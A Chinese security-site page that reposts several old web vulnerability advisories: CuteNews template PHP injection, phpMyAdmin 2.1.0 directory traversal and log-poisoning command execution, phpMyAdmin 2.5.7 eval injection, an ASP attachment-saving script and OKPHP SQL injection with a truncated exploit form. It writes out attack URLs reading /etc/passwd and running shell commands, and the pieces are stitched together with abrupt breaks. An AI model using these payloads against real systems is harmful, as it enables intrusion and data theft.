CuteNews远程PHP代码注入执行漏洞

更新时间：2016年11月25日 15:27 点击：1705

Cutenews是一款功能强大的新闻管理系统，使用平坦式文件存储。
Cutenews在处理用户提交的请求参数时存在漏洞，远程攻击者可能利用此漏洞在主机上执行任意命令。
在管理帐号编辑模板文件的时候，CuteNews不能正确的过滤用户输入。CuteNews从Web表单中获取HTML代码并将其输出到名为<templatename>.tpl的模板文件中。该模板文件包含有类似以下的PHP代码：
--snip--
<?PHP
$template_active = <<<HTML
[HTML template code]
HTML;
$template_full = <<<HTML
[HTML template code]
HTML;
?>
--snap--
输入以下模板脚本：
--snip--
HTML;
[PHP code]
$fake_template = <<<HTML
--snap--
管理帐号就可以执行PHP代码，导致在本地系统执行shell命令。
<*来源：John Cantu （
phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) 是一款管理 MySQL 数据库的 PHP 工具，具有基于 WEB 的界面。但是发现它存在漏洞。可选择安装新发布稳定版本：
phpMyAdmin 2.2.0。
1、目录遍历漏洞
攻击者通过提供如下的 URL:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www.example.com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
能非法访问系统文件
有问题的代码在：
‘include($goto);‘ in sql.php and in tbl_replace.php.
2、执行攻击者代码漏洞
通过使用全局可写日志文件，攻击者能在受影响服务器上执行任意代码。
首先，得到 Apache 配置文件以便知道日志文件存储位置：
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/access.conf&btnDrop=No
可以看出，日志放在：
/var/log/httpd/error_log
/var/log/httpd/access_log
然后 telnet 到端口80
# telnet www.example.com 80
Trying xxx.xxx.xxx.xxx...
Connected to www.example.com.
Escape character is ‘^]‘.
GET
^]
telnet> quit
Connection closed.
#
在 GET 请求之后，攻击者能将任意 PHP 代码上传
现在，可以用 Apache 用户身份远程运行命令了：
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log/httpd/
access_log&btnDrop=No?meters=ls%20-l%20/
受影响系统：
phpMyAdmin 2.1.0
解决方案：
建议:
1.使用 phpMyAdmin 2.2.0
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.0-php.tar.gz
2.用户下载安装补丁：
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
摘自：52w.net

涉及程序：
phpMyAdmin
描述：
phpMyAdmin远程PHP代码注入漏洞
 
详细：
phpMyAdmin是一个免费工具，为管理MySQL提供了一个WWW管理接口。
phpMyAdmin存在PHP代码注入问题，远程攻击者可以利用这个eval()函数执行任意PHP命令。
不过此漏洞只有当$cfg[‘LeftFrameLight‘]变量(config.inc.php文件)设置成FALSE时才有用。
phpMyAdmin在($cfg[‘Servers‘][$i])数组变量中存储多个服务器配置，这些配置包含在config.inc.php文件中，信息包括主机、端口、用户、密码、验证类型等，但是由于$cfg[‘Servers‘][$i]没有进行初始化，允许远程用户通过GET函数增加服务器的配置，如提交如下请求增加配置：
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers][host]=202.81.x.x&cfg[Servers][port]=8888&cfg[Servers][user]=alice ..
而eval()函数中的$eval_string字符串允许执行PHP代码，攻击者可以增加服务器配置和提交特殊构建的表名，可导致包含的恶意PHP代码被执行。
受影响系统：
phpMyAdmin phpMyAdmin 2.5.7
 
攻击方法：
暂无有效攻击代码
 
解决方案：
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.phpmyadmin.net

本文作者：kEvin1986
文章性质：原创
发布日期：2005-08-14

<%
　　‘codz by kEvin1986
　　User=Request.Form("User")
　　Pass=Request.Form("Pass")
　　Popserver=Request.Form("Popserver")
　　if User<>"" and Pass<>"" and Popserver<>"" then
　　　　Set objmail = CreateObject( "JMail.POP3" )
　　　　objmail.Connect User, Pass, Popserver
　　　　set objmsg=CreateObject("jmail.message")
　　　　Set objmsg = objmail.Messages.item(1)
　　　　separator = ", "
　　　　response.write "Attachment Name is: " & SaveAtta & "<br>"
　　　　objmail.Disconnect
　　End if
　　Function SaveAtta()
　　　　Set Attachments = objmsg.Attachments
　　　　separator = ", "
　　　　response.write "The size of this Attachment is: " & objmsg.size & "<br>"
　　　　For i = 0 To Attachments.Count - 1
　　　　If i = Attachments.Count - 1 Then
　　　　　　separator = ""
　　　　End If
　　　　Set Theatta = Attachments(i)
　　　　response.write Theatta.name
　　　　Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.name)
　　　　Response.write "Oh!Hey Guy.....That‘s OK!"
　　　　Next
　　End Function
%>

本文作者：SuperHei
文章性质：原创
发布日期：2005-08-14
程序描叙
　　OKPHP是由www.okphp.com开发一套专业的网站管理系统，目前产品包括：Okphp CMS， Okphp BBS，Okphp BLOG。由于对变量的过滤不严密及密码认证不严，导致sql注射，xss，隐藏变量post攻击从跨权限操作。
漏洞攻击
1、SQl注射及xss
　　“几乎” 存在于各个变量里，如：forum.php

http://www.xxx.com/forum.php?action=view_forum&forum_id={sql}
http://cn.okphp.com/forum.php?action=view_forum&forum_id=‘xss
.......
2、隐藏变量post攻击
　　在提交request.php?action=user_modify 修改用户资料时，没有密码认证导致通过user_id修改容易用户密码及资料；
Exp：

<html>
<head>
<title>Okphp Discussions - powered by okphp BBS</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="bbs/themes/default/css/darkblue/css.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#CCCCCC" text="#000000">
<table class="forumline2" cellspacing="1" cellpadding="3" border="0">
<form name="form1" method="post" action="http://cn.okphp.com/forum.php" enctype="multipart/form-data">
<tr>
<th colspan="2" background="bbs/themes/default/images/darkblue/th_bg.gif">修改信息</th>
</tr>
<tr class="row1"> </tr>
<tr class="row2">
<td width="20%" valign="top" align="right">密码</td>
<td width="80%">
<p>
<input type="password" name="password1" size="20">
重复输入

[!--infotagslink--]

上一篇: PHP程序漏洞产生的原因和防范方法

下一篇: 如何屏蔽掉phpinfo()函数

phpems SQL注入(cookies)分析研究
PHPEMS（PHP Exam Management System）在线模拟考试系统基于PHP+Mysql开发，主要用于搭建模拟考试平台，支持多种题型和展现方式，是国内首款支持题冒题和自动评分与教师评分相...2016-11-25
ASP/PHP sql注入语句整理大全
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作标准注入语句1.判...2016-11-25
PHP防止SQL注入的例子
防止SQL注入是我们程序开发人员必须要做的事情了，今天我们就来看一篇关于PHP防止SQL注入的例子了，具体的实现防过滤语句可以参考下面来看看吧。使用prepared以及参...2016-11-25
不打开网页直接查看网站的源代码
　　有一种方法，可以不打开网站而直接查看到这个网站的源代码.. 　　这样可以有效地防止误入恶意网站... 　　在浏览器地址栏输入：　　view-source:http://...2016-09-20
php 调用goolge地图代码
<?php require('path.inc.php'); header('content-Type: text/html; charset=utf-8'); $borough_id = intval($_GET['id']); if(!$borough_id){ echo ' ...2016-11-25
For循环中分号隔开的3部分的执行顺序探讨
引发这个问题思考的是一段js程序的运行结果：复制代码代码如下: var i = 0; function a(){ for(i=0;i<20;i++){ } } function b(){ for(i=0;i<3;i++){ a(); } return i; } var Result = b(); 这段程序的运行结果是Re...2014-05-31
JS基于Mootools实现的个性菜单效果代码
本文实例讲述了JS基于Mootools实现的个性菜单效果代码。分享给大家供大家参考，具体如下：这里演示基于Mootools做的带动画的垂直型菜单，是一个初学者写的，用来学习Mootools的使用有帮助，下载时请注意要将外部引用的mootools...2015-10-23
JS+CSS实现分类动态选择及移动功能效果代码
本文实例讲述了JS+CSS实现分类动态选择及移动功能效果代码。分享给大家供大家参考，具体如下：这是一个类似选项卡功能的选择插件，与普通的TAb区别是加入了动画效果，多用于商品类网站，用作商品分类功能，不过其它网站也可以用，...2015-10-21
JS实现自定义简单网页软键盘效果代码
本文实例讲述了JS实现自定义简单网页软键盘效果。分享给大家供大家参考，具体如下：这是一款自定义的简单点的网页软键盘，没有使用任何控件，仅是为了练习JavaScript编写水平，安全性方面没有过多考虑，有顾虑的可以不用，目的是学...2015-11-08
php 取除连续空格与换行代码
php 取除连续空格与换行代码，这些我们都用到str_replace与正则函数第一种： $content=str_replace("n","",$content); echo $content; 第二种： $content=preg_replac...2016-11-25
php简单用户登陆程序代码
php简单用户登陆程序代码这些教程很对初学者来讲是很有用的哦，这款就下面这一点点代码了哦。 <center> <p> </p> <p> </p> <form name="form1...2016-11-25
PHP实现清除wordpress里恶意代码
公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。恶意代码示例...2015-10-23
js识别uc浏览器的代码
其实挺简单的就是if(navigator.userAgent.indexOf('UCBrowser') > -1) {alert("uc浏览器");}else｛//不是uc浏览器执行的操作｝如果想测试某个浏览器的特征可以通过如下方法获取JS获取浏览器信息浏览器代码名称：navigator...2015-11-08
JS实现双击屏幕滚动效果代码
本文实例讲述了JS实现双击屏幕滚动效果代码。分享给大家供大家参考，具体如下：这里演示双击滚屏效果代码的实现方法，不知道有觉得有用处的没，现在网上还有很多还在用这个特效的呢，代码分享给大家吧。运行效果截图如下：在线演...2015-10-30
JS日期加减,日期运算代码
一、日期减去天数等于第二个日期function cc(dd,dadd){//可以加上错误处理var a = new Date(dd)a = a.valueOf()a = a - dadd * 24 * 60 * 60 * 1000a = new Date(a)alert(a.getFullYear() + "年" + (a.getMonth() +...2015-11-08
PHP开发微信支付的代码分享
微信支付，即便交了保证金，你还是处理测试阶段，不能正式发布。必须到你通过程序测试提交订单、发货通知等数据到微信的系统中，才能申请发布。然后，因为在微信中是通过JS方式调用API，必须在微信后台设置支付授权目录，而且要到...2014-05-31
PHP常用的小程序代码段
本文实例讲述了PHP常用的小程序代码段。分享给大家供大家参考，具体如下：1.计算两个时间的相差几天$startdate=strtotime("2009-12-09");$enddate=strtotime("2009-12-05");上面的php时间日期函数strtotime已经把字符串...2015-11-24
php怎么用拼音简单的php中文转拼音的实现代码
小编分享了一段简单的php中文转拼音的实现代码，代码简单易懂，适合初学php的同学参考学习。代码如下复制代码 <?phpfunction Pinyin($_String...2017-07-06
Java使用ScriptEngine动态执行代码(附Java几种动态执行代码比较)
这篇文章主要介绍了Java使用ScriptEngine动态执行代码,并且分享Java几种动态执行代码比较,需要的朋友可以参考下...2021-04-15
Vue.js中轻松解决v-for执行出错的三个方案
v-for标签可以用来遍历数组，将数组的每一个值绑定到相应的视图元素中去，下面这篇文章主要给大家介绍了关于在Vue.js中轻松解决v-for执行出错的三个方案，文中通过示例代码介绍的非常详细，对大家具有一定的参考学习价值，需要的朋友们下面来一起看看吧。...2017-06-15

CuteNews远程PHP代码注入执行漏洞

相关文章

阁下可能感兴趣的内容

推荐阅读